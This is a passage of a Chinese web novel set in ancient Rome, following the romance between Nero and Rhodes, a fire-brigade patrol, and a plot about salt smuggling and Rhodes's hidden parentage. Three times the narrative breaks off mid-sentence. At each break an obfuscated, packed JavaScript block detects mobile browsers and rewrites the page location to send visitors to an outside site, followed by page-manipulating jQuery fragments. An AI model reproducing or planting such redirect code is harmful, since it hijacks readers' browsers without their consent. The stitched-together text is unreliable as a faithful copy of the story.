尼禄揉了揉脑袋,脸色稍红地说:“我需要他们的好感和支持,你知道的……”
他有些无奈,“我甚至调低了浴场对于妇女的收费。之前她们的洗浴费用是男人的两倍。”
罗德闻声,从石狮头上跳下,灵活得象一枚飘落至地的黑羽。
“您很聪明。”他轻声认可道。
尼禄不禁心有雀跃。
罗德走到蒸汗室门口,抚过门上的浮雕,刚刚完工的雕刻还残留着清浅的泥浆气味。
门框上钉着一只小盒,里面存放一些洁白的食盐。蒸完汗的人们在走出房间时,会捏一小撮食盐放嘴里。
罗德盯着食盐,捻一点盐晶在指尖。他若有所思,神色逐渐严迫起来。
“那桩私盐案查得怎么样了?”他问。
“几乎没什么进展,那些私盐贩狡猾得无迹可寻,他们就象沙滩里的螃蟹一样难以捕捉。”尼禄摇着头说,“坊间依然有私盐在流通,还有一些不知真相的贫民购买这种象毒|药一样的东西。”
罗德拍掉食盐粒,渐渐收敛起肆意的身姿,腿脚僵硬地立着。
他闷声垂下头,站立的姿势久了,一缕缕黑发慢慢滑到前肩,使他面目不清,所散发出的压抑气场几乎会扼住旁人的咽喉。
“私盐贩会被钉在十字架上流血至死……”罗德沉声说,眼瞳里象暗涌袭来一般泛起浓重的深色。
他的语气含有一些难以拨开的、灰蒙蒙的压抑,“就象我的父亲那样……”
尼禄怔一下,无声地走到他跟前,小心地瞄他。
罗德隐蔽于黑发间的眼光有些黯淡,微亮如银针。他的脆弱象针尖凝成的一个光点,与锋利并行而本身却极易断。
那点惨淡的微光落入眼底,象铁水燎烧一点点灼到心底,尼禄心感一阵钝痛。
他下意识地牵住罗德的手。仅仅是手指的皮肉相碰,竟给他一种耳鬓厮磨的触感。
“你还是忘不了你的父亲吗?”他轻声问道。
罗德由他牵着手,压着眉峰,眉目间有一些难以割舍的情愫。
“以父母给予的心脏去忘记父母是一件自欺欺人的事。”他低沉地说。
他将挡脸的鬓发挂到耳后,把额前的碎发悉数压到后面。于是他颇有威慑性的俊美面目毕现,宛如宝剑出鞘。
“尤其是……我和他又长得很像。”罗德以指尖点了点侧脸。
尼禄望着他愣一会,有惊鸿一瞥的惊艳感。
他缓过神来问:“你还记得他的模样?”
“很模糊,只记得他是黑发黑眼。”罗德追忆着说,“不过我的养父在病重得精神迷乱时,曾经无数次地对着我的脸唤他的名字。”
尼禄思考片刻,羞赧的脸庞浮现一丝疑惑,“你和父亲居然会长得这么像……”
罗德沉缓地移过眼睛,平静地问:“您不相信?”
“噢当然不是!”尼禄连忙解释,尽量使语气委婉,“只是……一般说来,男孩都是与母亲相像的比较多,这是很明显的事实……”
罗德想了想,冷淡的面色透出一丝费解。他闷声良久,陷入沉思一般默声不语。
“算了。”他平淡地开口,“对我来说,他们都只是无缘的血缘而已。”
家庭不幸的尼禄感同身受。
他的手指巧妙地动一下,嵌进罗德的指缝,再狡猾地挤进去;罗德手指轻动一下,也沉默地反扣住他的。两人十指紧扣。
罗德的体温就这么传递过来。两人的每一寸肌肤接触,都能使尼禄感到灼热的痒意,心有擂鼓般的颤栗。他的爱情类同于宗教信仰,罗德的一丝丝回应,就可以让他如教徒迎接神明一样,交付出毕生的所有悲欢。
尼禄有些迷醉。他绵软地依偎着罗德,象惺忪一般,羞红的脸上有傻笑的表情。
“可不可以答应我一件事?”他语气迷迷糊糊的。
“说。”罗德扣紧他的手。
尼禄象受到鼓励似的,紧张兮兮地说:“以后……能不能不要对我使用敬称?”
罗德顿一下,一丝坏笑蹿上他的唇角。他幽幽地靠过去,呼出的热息象丝线一样缠绕尼禄的后脑。
“当然可以……”他以低沉的气音说,“尼禄……”
“噢……”尼禄羞得连脖颈都泛红。他象站不直一样含着胸,眼里有一些朦胧的水汽。罗德能感到他的手心在出汗。
“其实……我原来不叫尼禄这个名字。”他的声音颤颤巍巍的,“我的原名叫卢修斯。在我父亲去世后,我的母亲给我改了名叫做尼禄。”
“卢修斯……”罗德咀嚼着这个名字。
他狡黠一笑,将脸埋进尼禄的颈窝,滚烫的鼻息扑在他颤动的喉结。他黏乎乎地靠在尼禄怀里,用鼻尖去一点点磨蹭他的喉结,微抖的睫羽轻扫他的皮肉。
尼禄阵阵战栗,身体僵硬得象一块水泥。
“卢修斯……”罗德大胆地在他耳边低语,刻意去逗弄他,“亲爱的卢修斯……”
他充满黏意的话语袭来。尼禄感到下腹胀痛的同时,心有无比的幸福。
那些浅显的生理欲望暂且按下不表,陷入爱情的他,获得一种来自灵魂的、人之自性的满足。
这一刻,向来厌世的尼禄居然开始感激生命。
他伸手搂着罗德的腰,把他圈进怀里,嘴唇贴上他柔软的黑发。
罗德没再继续挑逗,很温顺地贴靠尼禄的胸膛,那里的心跳剧烈而有力。
他抚摸尼禄的心口,细细感受他胸膛的骨骼,向后一路摸到他的肩胛,再抱着他的后肩紧紧扣住。尼禄身体的每一处都值得他去回味。
他小声嘀咕着:“卢修斯……尼禄……”
尼禄象陷入泥沼一样颤栗着,罗德的呢喃让他激动得眼前泛起蒙蒙白雾,心里感到无比的餍足。
“我喜欢这两个名字。”罗德轻柔的声音从颈窝处悠悠传来。
尼禄摸着他的脊背,将他的腰扣得更紧。
他们的身体在紧紧相拥,灵魂也是。
……
一个月的时间很快过去,罗德正式就任火事总长。
习惯不受拘束的他如今也有了一份固定的职务。
前世时身为海盗首领的罗德,曾屡次面临船只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239658|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失火的情况,对于救火有丰富的经验。
他将一种含有醋的物质制成灭火剂,给手下的每一名火警队员配备水泵、水桶和铁锹。尼禄动用一些手段,帮他争取到一座攻城时才会用的投石机,用来拆除燃烧的房屋。
由于火警队很难招募到人员,罗德调高了福利,规定凡是参加火警队者,都会获得完全的公民权,退役时还会得到一笔可观的奖金。而这背后的政府资金,都是尼禄帮忙申请到的。
罗德对着铜镜,将一柄崭新的长剑别在腰间。他承担了职责重大的官位,黑衣黑裤的装束依旧是价廉的细麻料子,只换了一把佩剑。
作为总长,他要每周一次亲自参与火警队的夜间巡逻。
尼禄倚在铜镜旁边,穿着睡衣,一头毛绒绒的银发蓬松得象洗过的棉花。
他有些忧虑地说:“这次的巡逻将要持续一整夜,还要同时管理将近一百名火警……”
罗德将脚上的军靴绑好,神情轻松地说:“一周就一次而已。”
尼禄扒着铜镜,嘱咐道:“可你要走整整一夜,还得去剧场排查被人遗留的火种,连休息的时间都没有,别忘了带些钱买点东西吃……”
罗德抚了抚头发,黑亮的眼睛轻移,正中尼禄的眼底,“知道了。”他说。
尼禄还想嘱咐什么。他眨了眨眼睛,欲言又止。
罗德走到尼禄的身侧,轻柔地挽住他的手臂,慢慢凑近他的耳廓。
他的嘴唇蹭着尼禄微红的耳垂,以深切的口吻说:“保护好你自己,卢修斯……”
尼禄一怔,心里顿生甜丝丝的情绪。
……
罗德带着百人的火警队,将可能遗留火种的街道都巡逻一遍。
火警队用浸透水的被子覆盖残留的火苗,配发消防设备给每一户人家。他们要记住城中每一处水源的位置,把床垫和垫子存放进房屋的缝隙之间,在火灾发生时能帮助人们从高处跳下。
他们要求住在二楼的人存放清水。如果居民疏忽大意,没有按照火警队提醒的那么做而导致火灾,就会遭到肉|体惩罚。
罗德走了一路,喝光两壶水。
他拍掉衣服沾的灰土,将松掉的军靴和手套重新绑好,察看一下收缴而来的两袋子火种。
此时夜已过半。
手下递来湿毛巾,罗德擦了擦脸上的汗水。他的睫毛和双唇都被濡湿,有美好的色泽。
“还有哪里没去?”他拧干毛巾问。
他手下的火警戴着红色的皮帽,手里握着用以灭火的水泵。在初次见到年青貌美的新一任总长时,他被惊艳得稍作怔神。
“就只有剧场还没去。”他收回冒犯的眼光,恭敬地回答。
于是罗德马不停蹄地带着他的火警队去了剧场。
剧场在夜晚依旧喧嚣,叫嚷声象巨木一样从地上拔地而起,几乎要撑裂大理石墙壁。竞技、斗兽和戏剧常在晚间进行,演员们就在沾满血迹的黄沙上表演。
罗德将火警队遣去观众席检查。他要去和剧场的圣女交涉,防止圣火引起火灾。
面带白纱的圣女不时往火盆里倾倒油脂,保证圣火永不熄灭。终身贞洁的她们享有特权,独占一个黄金包厢,这是剧场里最佳的观赏位置。
此时剧场里正上演着潘多拉打开魔盒的戏剧。
头戴金假发的演员穿着一条露肩红裙,动作浮夸地捧着一只镀金的铜盒。
演员的声音本身很粗重,在念台词时故意捏造成女性的尖细嗓音,听起来颇为怪异:
“沉睡的头颅必定含有梦境,寂静的盒子必定含有秘密。我将金盒捧于手中,它胀裂我狭隘的视野,秘密却躲在我眼睛之外!来自于人类本性的丑陋的好奇心啊,总是象烈火一样焚烧着我!我的心脏被鸟喙一样的好奇啄食,我的肢体被水银一样的疑惑腐蚀,我的思维被铁棍一样的迷惘搅乱……”
罗德将崭新的水泵和水桶呈给圣女,无意间往剧场里一瞥。
他清冷而散漫的目光于一瞬间紧缩。
尽管有女性化的戏服以及浓厚的妆容,但罗德还是认出来了,那是男扮女装的安东尼。
震惊好象蔓延开来的一滩粘液,慢慢与前世的记忆胶合了。
罗德呼吸一滞。他不由地联想到,神谕里会让尼禄失去一切的那个长着胡须的女人。
42. 出生即罪过
从剧场巡逻回到火警营时,已经黎明将至。罗德率领着疲乏的队伍回到火警营,脚步声象沉铁块一样拖行在空寂的石板路上。
一辆装饰华丽的马车正停在营门口。
车窗微动,从里面探出一只绒毛脑袋,在疲惫的夜色里象一片锃亮的银瓦。
罗德脚步变得轻缓,心有火灼般的热意。
一夜未睡的尼禄气色不太好。在看到罗德时,一点笑意象火星一样迸到他发白的唇角,他的脸色象被点亮一样活跃起来,熬夜所造成的微青的眼睑,此时因笑容而轻颤。
“我来接你回家。”他掀着窗帘说。
站在前排的几个火警队员面露惊诧。
罗德没说什么,转身就跳上马车。
尼禄将窗帘掀开一条小缝。稀薄的晨色象水雾一样漫开在车里,极远处的地平线象镶上一层沸腾的鎏金。
马车车轮在石板之间卡出噔噔轻响。
微黄的晨光轻轻打照罗德的脸庞。他的面色有些憔悴,从侧面直射的清光,将他的黑眼珠照成半透明的棕色。
“一个平民捡完垃圾后,却乘着行政官镶着宝珠的马车回家。”罗德以微嘲的口吻说道,“这一定会成为坊间最近的谈资!”
尼禄将手沿着软座伸去,摸到了他略有凉意的手掌。
“我就想让他们都知道,你有我。”尼禄牵紧他的手,疲劳的脸上有沉稳的笑意,“我希望所有人都知道我对你特别好……”
罗德歪靠在他身上,顺着指缝去抚摸他的手指。尼禄的手指保养得很润泽,摸起来象丝帛一样。
他缓慢地摸着他的骨节和指甲。其实这些微小的突起和坚硬是每个人都会有的东西,但罗德就是心有异动。
“你今天没有睡吗?”他扣着尼禄的手问。
“嗯。”尼禄布满血丝的眼睛有些干涩。他稍微侧着脸,面颊就紧紧抵在罗德的发顶,有轻微的痒意。
他嗅了嗅说:“我睡不着,就想着来接你回家。”
罗德半闭着眼,从卷密如锋刃的睫毛之间,透出一星点明烈的眼光。他思索一会。
“我想我今天见到了你命运里的第二个人。”他的声音里有熬夜导致的沙哑,“据说他会让你失去一切。”
尼禄的眼神有细弱的凝滞,“是神谕里那个有胡须的女人……”
罗德扯了扯紧束的领口,“我在剧场看到了安东尼。”他的口气含有锐意,“他穿着女装,在扮演打开魔盒的潘多拉。”
尼禄怔了怔,“就因为他穿了一件女人的戏服吗?”
“谁知道呢。”罗德回想着前世的种种,一丝锋利从他眉目之间浮显而出,“提防着他总不是坏事。”
尼禄将下巴抵进他的黑发,感受硌人的痒意。
他细声细语:“我都听你的……”
尼禄的喉结随说话而轻颤,那点颤动紧贴罗德的额角。罗德被这点颤动所牵绊,从他的前肩滑下去,顺着胸膛就躺到他的腿上。
感受到压到腿间的重量,尼禄脸色羞红,眼神变得十分黏着,“哦……罗德……”
罗德漆黑的长发尽散开在他的腿间,一绺晨光将他的黑眼睛照得熠亮,鲜红的唇珠也是。
尼禄低垂着头。爱意满溢的他,无需窥看罗德的全貌,只消瞥到他的一点眼角,就能心有冲击般的震颤。
罗德细细扫过尼禄的脸庞。从他发白的嘴唇、挺翘的鼻尖到井潭般的棕眼睛,再到他饱含病态气息的细眉。他鼻梁处的雀斑尚存,那里除了可称作可爱的稚气,其实平淡无奇,但罗德象成瘾一样盯着。
“别动。”他忽然开口,“我想摸摸你。”
于是罗德将手掌覆上尼禄的脸庞,温柔地抚摸着。
他的指尖一点点抚过尼禄的嘴唇,移到他的雀斑上来回蹭着,再到他浓密的睫毛。尼禄不由地眨几下眼,睫毛扫出虫蟊攀爬般的痒意,从掌心顺着手臂一直爬到心脏。
他摸到尼禄的所有五官,心跳愈发快速,指肚竟有烫伤般的错觉。
平生感情麻痹的罗德,觉得四周一切都化为乌有,眼里只有尼禄羞红的年轻面庞。
陌生的幸福感逐染心尖,十分奇异,象是被婴儿无牙的牙床咬了一口。罗德产生一种来自灵魂的愉悦。
尼禄抚住他按在脸颊的手,轻轻的一个侧脸,嘴唇就蹭到他的掌心。
此时熹微晨红从暗蓝的天边扑来,象从蓝布的缝间泄漏出来的流沙。
罗德抽回手,闭上眼睛说:“让我先好好睡一觉。”
尼禄搂着他的腰,以商量的语气说:“今天是缪斯节,我可以带你出去玩吗?”
“请尽情地向我下任何命令,我的主人……”罗德枕着他的腿,懒洋洋地说。
尼禄满脸通红。他僵硬地调整腿部的角度,让罗德躺得更舒服。
……
表演结束的安东尼带着满身脂粉味回了家。
他已经脱妆,脂粉从油腻的脸上浮出来,显得皮肤很花白。描画眼线的墨汁晕开,使他的眼窝全是青黑。
安东尼神采奕奕,满脸尽是亢奋。他还没从表演中回过神,思维还很迷幻,手象痉挛似的发抖。
门希倚在角落里,脸色暗沉,一双酷似干蜡的眼睛幽幽地望着他。
奴隶们迎过来,褪去主人身上沉重的戏服,簇拥着他为他卸去妆容。他们用橄榄油混合草木灰糊在他脸上,再用肥皂水擦洗干净。
卸妆后的安东尼面目干瘪而松弛。他四肢大张地躺在沙发上,在嘴里嚼着茴香叶,让修脚奴替他捏脚。
门希走到他面前,满脸厌烦地抱起双臂,以教训的口气说:“你又去当了一天的女人,安东尼。”
安东尼将眼睛睁开一条缝,透过眼缝瞥见门希闪亮的军靴,“请别这么苛责,我的兄长。谁都喜欢找点乐子,旁人无权指责个人的喜好……”
他伸个懒腰,嬉皮笑脸地说:“你总是寻找长着银发的男妓作奴隶和男宠,可我从来就没有干涉过你。不是吗?”
门希被他的话噎住,脸部的筋肉抽搐两下。
安东尼踢开修脚奴,悠哉地抖着腿说:“要我说……经过阉割的阉奴要比男妓干净许多。与其去买身体不洁净的男妓,倒不如多花点钱去买阉奴。花柳病在罗马向来风行,这你也是知道的……”
门希蹙着眉,一脸嫌恶地说:“我最厌恶那帮不男不女的贱东西。”
安东尼狡猾地笑笑,语气里有得逞的意味:“这就是被别人横加指责的感受,我亲爱的哥哥。”
门希憋闷地住了嘴,悻悻地来回踱几步。他的军靴沉重而难以载动,趿拉出不利索的声响。
奴隶提着会客时用的外袍前来,搭在门希身上,朝他的腋窝和头发喷洒玫瑰香水。他们用海绵擦拭他的手心,再刷上一层能吸水的干粉,这使他的手掌时刻保持干燥。
“大贞女马上就来了。”他理了理头发,别有用意地瞥安东尼一眼,“她有些私密的话要跟我说……”
安东尼摆出一副不情不愿的神态,慢吞吞地从沙发起身,“我把你当成最亲密的兄长,你却总是对我抱有隔阂。”
他晃悠着腿脚,由奴隶搀扶着,乳白色的睡衣被压得皱巴巴的。
“有些麻烦事你不必知道。”门希拍掉手上多余的干粉。
他想到什么,脸上顿显
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239659|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忧虑,冲安东尼幽闪的身影嘱咐道:“最近法院查得很紧,你要注意我们的盐……”
“不会有人查到的……”安东尼咧开一个自信的微笑,松垂的嘴角浮夸地弯着。
他神色怪异,单薄的嘴唇一开一合:“这是最后一船盐。等贩卖完这一批,我就能重返贵族了……”
门希打手势让他噤声。安东尼意犹未尽地挑了挑眉,由奴隶搀扶着退下了。
奴隶将铁矿石粉撒在门希的发顶,朝他的口中喷洒甘草水以净化口气。门希扣好长袍的搭扣,整肃一下面容,走到庭院里迎接来客。
没过一会他就迎来了他秘密的客人。
茱莉娅罩着黑袍,连面纱都是黑的,一对狭长的眼睛略显冷漠。她匆匆走来,脚步轻缓到毫无声响,象一缕从地底钻出来的黑雾。
身为掌管神庙的大贞女,她不能私自与男人见面。
这是一次严防死守的相见。
茱莉娅向门希行了礼,眼角的鱼尾纹微微拢起。
她的声音是天生的嘶哑:“好久不见了,我曾经的祭司大人……”
门希严迫地点头,“你比当年老了许多,茱莉娅。”
“神庙的事务让我一直操劳。”茱莉娅平稳地说,“况且没人能永葆青春。”
她顿了顿,冷淡的眼睛眯几下,放射出惊异的光亮,“但我最近却看到一个和泰勒斯极像的年轻人。我简直以为泰勒斯以年轻的面目死而复活……”
门希的脊梁微微绷住,惶恐象波纹一样荡过他的脸庞。
他的声音从干枯的咽喉里一字字地挤出:“不可能……他已经被我处死了。就连他的骨灰都是我亲自去埋的……跟他被活埋的姐姐葬在一起……”
茱莉娅的手指微微发抖,一种犯罪之后的心虚支配了她。她绵软地虚晃着身子,呼吸陡然加剧。
她的腿脚打晃两下,象是自我安慰一样絮絮叨叨:“不必慌张,那两个死人是不可能复活的……绝对不可能……”
门希深呼吸几次,惊惶的眼神逐渐沉定。
茱莉娅面色凛然地说:“我还想提醒您的是……别忘了当年那个本该被处死的孩子躲过了刑罚。”
门希怔了怔,“会是他吗?”
“我算了算,如果那个孩子能平安长大,也该是那么大的年龄了。”茱莉娅沉沉地说。
门希睁大眼睛,思索一会谨慎地说:“也许这只是巧合。毕竟这世上长相相似的人太多了……”
“或许当您亲眼见到那个年轻人,就会改变现在的想法。”茱莉娅说,“巧的是,他是尼禄的亲卫,和泰勒斯的身份也惊人的相似。”
门希的呼吸顿了顿,心脏象腐朽的泵一样在僵缓地跳动着。
他眼神凝涩,干巴巴地说:“也……也是亲卫吗……”
茱莉娅肃穆地说:“那个孩子出生即罪过。泰勒斯一直将他藏在鱼龙混杂的军营,长大后被挑选为皇族的亲卫也不是完全不可能……”
门希沉寂起来。他面容僵硬,孤零零地僵立着,象一具被抽干血肉的空壳。
“我会去查的……”他口气紧锐地说。
茱莉娅将黑面纱裹紧,警惕地往四周瞧了瞧,“我该走了。圣女被发现擅自离岗,是要被杖责的。”
门希紧抿着嘴巴点点头。
茱莉娅坐回马车里,将车帘和窗帘都捂得严丝合缝。黑暗象闷油一样流动在空气里,马车象一座封锁着秘密的坟墓。
她长叹一口气,眯着细长的眼睛说:“不要怪我……黛妮,是你先违背了身为圣女的原则……”
她嘶哑的尾音消逝在沉闷的幽暗里,象污水流进污水之中。
43. 吻
整整行走一夜的罗德深感疲劳。他睡了一个白天,等到睁开眼时,已经到了傍晚。
尼禄伏在床边的桌子上,胳膊下压着一张羊皮卷。
他点着蜡烛,火红的焰色在他脸庞跳闪,白银般的亮发泛红,象被浇灌一层鎏金。
罗德沉静地望他一会,以刚刚睡醒的沙哑嗓音说:“你休息了吗?”
正看书的尼禄被惊动,一抬头正对上罗德的视线。
“我也才睡醒不久。”他无法自制地羞红脸,拿起羊皮卷晃了晃,“一边看书一边等你醒过来……”
罗德侧了个身,一只手掌撑着下巴,脸上还有未竟的惺忪睡意,“看的什么?”
尼禄将羊皮卷压平,冲他浅笑道:“是上次那个我们没有读完的故事。”
罗德闭着眼睛说:“念给我听听。”
尼禄站起身,拿着羊皮卷坐到床边。他挪近床头的蜡烛,破旧羊皮卷上的文字顿显清晰。
他轻声念道:
『米诺斯成为无坚不摧的战士,再加上细腻敏锐的心思,他战无不胜。
王国的人们对这个所向披靡的王子寄予厚望。他们高声疾呼米诺斯的名字,在他走着的路上铺设地毯,向他撒玫瑰花瓣和榛果,亲吻他马车辗轧出来的车辙。民众比国王与王后还要期待他登上帝位的那一天……』
罗德来了兴致,笑着说:“越来越象你了。”
尼禄愣一下,浏览文字的眼光稍作停留,继续念道:
『就在王国的边境,突然出现一头兴风作浪的九头蛇。这头怪蛇长着九颗头,其中一颗头要是被斩断,立刻又会生出两颗来。它翻爬在泥泞的沼泽里,依靠吞食田地和人畜为生,嘴里吐出的毒气能造成瘟疫。很多人都命丧这头怪兽的腹中。
作为具有神力的勇者,米诺斯顺应民众的意愿,前去斩杀九头蛇。
头脑聪颖的他想出一个办法,每砍掉九头蛇的一个头就用火把烧焦伤口,使它无法再长出头。
然而,在砍去最后一颗蛇头时,狂喷不止的毒血溅到米诺斯空荡荡的眼帘上。
这一瞬间曾经被挖掉的眼珠重长出来。在九头蛇毒血的作用下,米诺斯一共长出四颗眼珠,一个眼眶里挤着两颗,令人恐怖地向外翻出来。
就这样,米诺斯重回光明,却同时背负了畸形的五官。为了不吓到别人,他只好用丝绸蒙住眼睛。
他就象一个即将溺死的溺水者,刚刚冒出水面喘口气,就要重回黑暗的水底……』
尼禄为奇异的情节惊愣片刻,下意识捏住残破的卷角。
罗德浅淡地笑笑,不经心地说:“有趣。”
尼禄顿一会,接着念下去:
『米诺斯杀死怪蛇,更获得民众的支持和追捧。他威名赫赫,甚至有周边邻国的国王向他致信,期望在他将来当上国王之后归顺于他。他的登基众望所归。
就在米诺斯越来越接近王位时,邻国的森林里忽然出现一只叫做伊拉的女妖。
这只女妖的身世十分奇特。
她的母亲容貌出色,拥有惊艳众人的黑发黑瞳,以及花瓣般的红唇。众神之父朱庇特痴迷她的美丽,对她展开狂热的追求,却被她以投掷石块的方式拒绝。
心胸狭隘的朱庇特由爱生恨,诅咒她以处女之身生下身怀怪力的伊拉。
伊拉承着神的怨恨出生。她和她的母亲一样相貌极美,却拥有一双被诅咒的黑眼睛。任何直视她眼睛的人,都会变成石块,包括她的母亲。
就在分娩时,伊拉的母亲因为不小心看了她的眼睛,也结成了石头。
失去母亲的伊拉在森林里长大,很多途径森林的人命丧于她的眼睛之下,成为一尊尊石像。她被所有人惊恐和唾弃,几乎是臭名昭著。
邻边的国王们联名向米诺斯请求帮助。米诺斯接受他们的嘱托,前去森林里刺杀这只令人畏惧的女妖……』
罗德随口一问:“他杀死了她?”
尼禄停顿很久,有些恍然地说:“……没有,他们相爱了。”
罗德惊愣一会,深刻的唇弓微微翘起。他若有所思地问:“然后呢?”
尼禄放下破旧的书卷,遗憾地说:“这本书破烂得就象奴隶的衣服,剩下的书面都破损得看不清文字。”
罗德轻哼一声,“还真是吊人胃口。”
尼禄将残破的书卷叠好,赤红的烛光满覆他清瘦的脸颊。
“我会让奴隶跑一趟庄园,拿来上次我们看的那本完整的书卷,”他温柔地说,“如果你想知道结局的话。”
罗德坐起身,凌乱的睡衣敞开到洁白的锁骨,几乎晃乱尼禄的眼睛。
“别去管一个虚构的故事了。”他揉了揉蓬乱的头发,以询问的目光望向尼禄,“今天不是还要出去玩吗?”
尼禄轻轻地勾起唇角。
……
缪斯节的夜晚,连每一粒尘土都染了点艺术性。
厨师推着餐车贩卖食物,将麦饼捏成长笛的形状烘焙。狂欢的罗马人在屋檐上挂满木雕的小竖琴,在树枝间拴满风铃,风铃声象扬尘般响彻罗马上空。艳丽的女奴们在街道旁弹拨竖琴,街头临时搭建的舞台上有希腊戏剧的表演。
一切无比欢欣。
罗德和尼禄走在人群中,习惯性地十指相扣。仅仅是这样简单的牵手,尼禄就有行将胀裂的满足感。
街头的花贩将红玫瑰剔除尖刺,用赭红的薄纱包住花茎,做成一束新鲜的捧花。
罗德黑发黑瞳,外在的神情也是一种冷冷的、不容易亲近的气息。他的两瓣红唇始终都很润泽,这使他清雅之中有一些妖冶的意味。
他的外表过于瞩目,总会让他收获来自陌生人的关照。
花贩笑嘻嘻地凑近罗德,拉过他的手,为他献上一束捧花。
尼禄的嘴角抽了抽,强烈的妒意让他脸色愠红,扣着罗德的手陡然夹紧。
罗德接过捧花,拖拽着他硬邦邦的胳膊,走到一处相对人少的地方。
“你嫉妒了?”他盯着玫瑰花,轻描淡写地说。
尼禄闷闷地说:“我一点也不想看见你跟别人亲近……”
罗德不禁莞尔。情绪不怎么外露的他,即使笑起来也只是眼角微弯,眉梢间有一些舒缓的意思。
他环住尼禄的脖子,以侧脸去贴紧他的耳廓,低声说:“别忘了,我是属于你的……”
这句表明所属权的话让尼禄从内心发出战栗;好比一滴水渗进几近干涸的舌头,尼禄感到稍微的解渴,同时又觉得干渴更多。
他被这种干渴驱策,伸出臂膀箍紧罗德的腰。
两人就这么抱在一起,胸膛象被粘住一样相抵,耳朵里充盈着彼此呼出的热息。
罗德将侧脸埋进他的颈窝。尼禄的颈动脉跳动有力,此时贴紧他的眼帘,一下下敲打他的眼睛。他用嘴唇去磨蹭尼禄的脖颈,那里每一处光裸的皮肤都给他热辣辣的触感。
他忽然伸出舌尖,轻轻舔一下尼禄的喉结。
尼禄被他的舔舐挑逗,心跳当即就紊乱。他感到十足的饥饿,本能地亲吻罗德的黑发,手臂越收越紧,几乎要让罗德融入自己的身体。
他感觉到罗德胸膛里逐渐猛烈的心跳,产生一种与他共用一个心脏的错觉。
周围陆陆续续有行人经过。罗德没让尼禄抱很久,悄无声息地推开他。
尼禄还沉浸在方才的缠绵里,面色潮红。他不由地吞咽一下,盯着罗德的眼神愣愣的,一脸的意犹未尽。
罗德的脸颊也有点泛红。他低垂着眼睫,声音十分柔软:“去别的地方走走。”
两人便重又走进喧吵的街道。
缪斯节的狂欢正当盛时。行为大胆的少男少女,会往心仪路人的身上泼洒亮粉;演员吹着长笛或弹拨竖琴,奴隶配合他们敲鼓。
心情极佳的罗德喝了几杯啤酒,乌黑的长发沾着亮闪闪的银粉。他的脸汗津津的,冒着红光,美艳得让尼禄移不开视线。
他的海盗习气重现,一时兴起拽着尼禄去剧场观看斗兽,顺便押几盘输赢。
头戴铁盔的角斗士手持三叉戟,踩在黄沙上与一头老虎周旋。他以颜色鲜艳的盾牌引诱老虎,在它飞扑过来时,用叉戟从下刺入它暴露的肚腹。鲜血如倾盆般泼到黄沙上。
身为行政官的尼禄环视一圈剧场。
凋蚀的大理石廊柱、稀薄而脏污的黄沙、兵器架上沾有锈迹的刀剑,这些让他的心情愈发沉重。
“这个老旧的剧场该翻新了。”尼禄说,“它就象一条蜕不了皮的蛇。”
“的确。”罗德的面色变得深暗,“但一个浴场的筹资都颇费功夫,更何况这个大上三倍的剧场。”
尼禄轻叹道:“这是个棘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239660|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手的难题,可我必须做。谁让我的继位需要依靠罗马贪图玩乐的平民。一个不能使人尽兴的剧场,会让平民们认为我尸位素餐……”
罗德闷声不语,平静的脸庞隐现一丝沉迫……
从闹烘烘的剧场中出来时,已经时至夜半。
两人相互依偎着走在人声渐稀伏街上。
罗德热得扯开衣领。尼禄给他买一杯冰啤酒,揽着他的肩膀问:“玩得开心吗?”
“还行吧,”罗德喝光啤酒,平淡地说,“打发时间罢了。”
尼禄轻巧地拂去落在他肩头的亮粉,挽着他的手说:“还想去哪玩?”
罗德思索片刻后说:“回家吧。”
他说着将下巴压上尼禄的肩膀,“今天是缪斯节,但其实我就只想听你弹一首竖琴曲。”
尼禄感到直击本心的幸福。
……
他们乘马车回了家。
罗德轻车熟路地跳上榕树,尼禄抱着竖琴挨着他坐。
月光象细细的银柱一样从叶缝间流泻下来,十分圣洁。到了深秋,树叶的清苦味更加浓烈。
尼禄调了调琴弦,将之前罗德送他的义甲粘在指尖。
“这是你送我的生日礼物。”他摸着这些以龟壳制成的小东西,“还记得吗?”
罗德倚着树干,笑了笑说:“当然,我可不想看到你的手指被琴弦磨出血。”
尼禄羞涩地微笑,纤细的手指一晃,就拨出一段优美的旋律。他奏乐的样子很认真,更象是沉迷其中。
尼禄银白的指尖灵动地穿梭于琴弦。他微微闭起眼睛,眼睑处扫下一片浓黑的睫影,忧郁而优雅。他的卷发异常乖巧,略显阴郁的眉眼很清秀,浅红的薄唇勾起。他弹拨出的音乐很高雅,具有十足的艺术美。
罗德任由自己的心跳被琴弦的拨动所控制,毕竟艺术是无限制的感性化。
他忽然出手,按住尼禄拨弦的手指。琴声戛然而止。
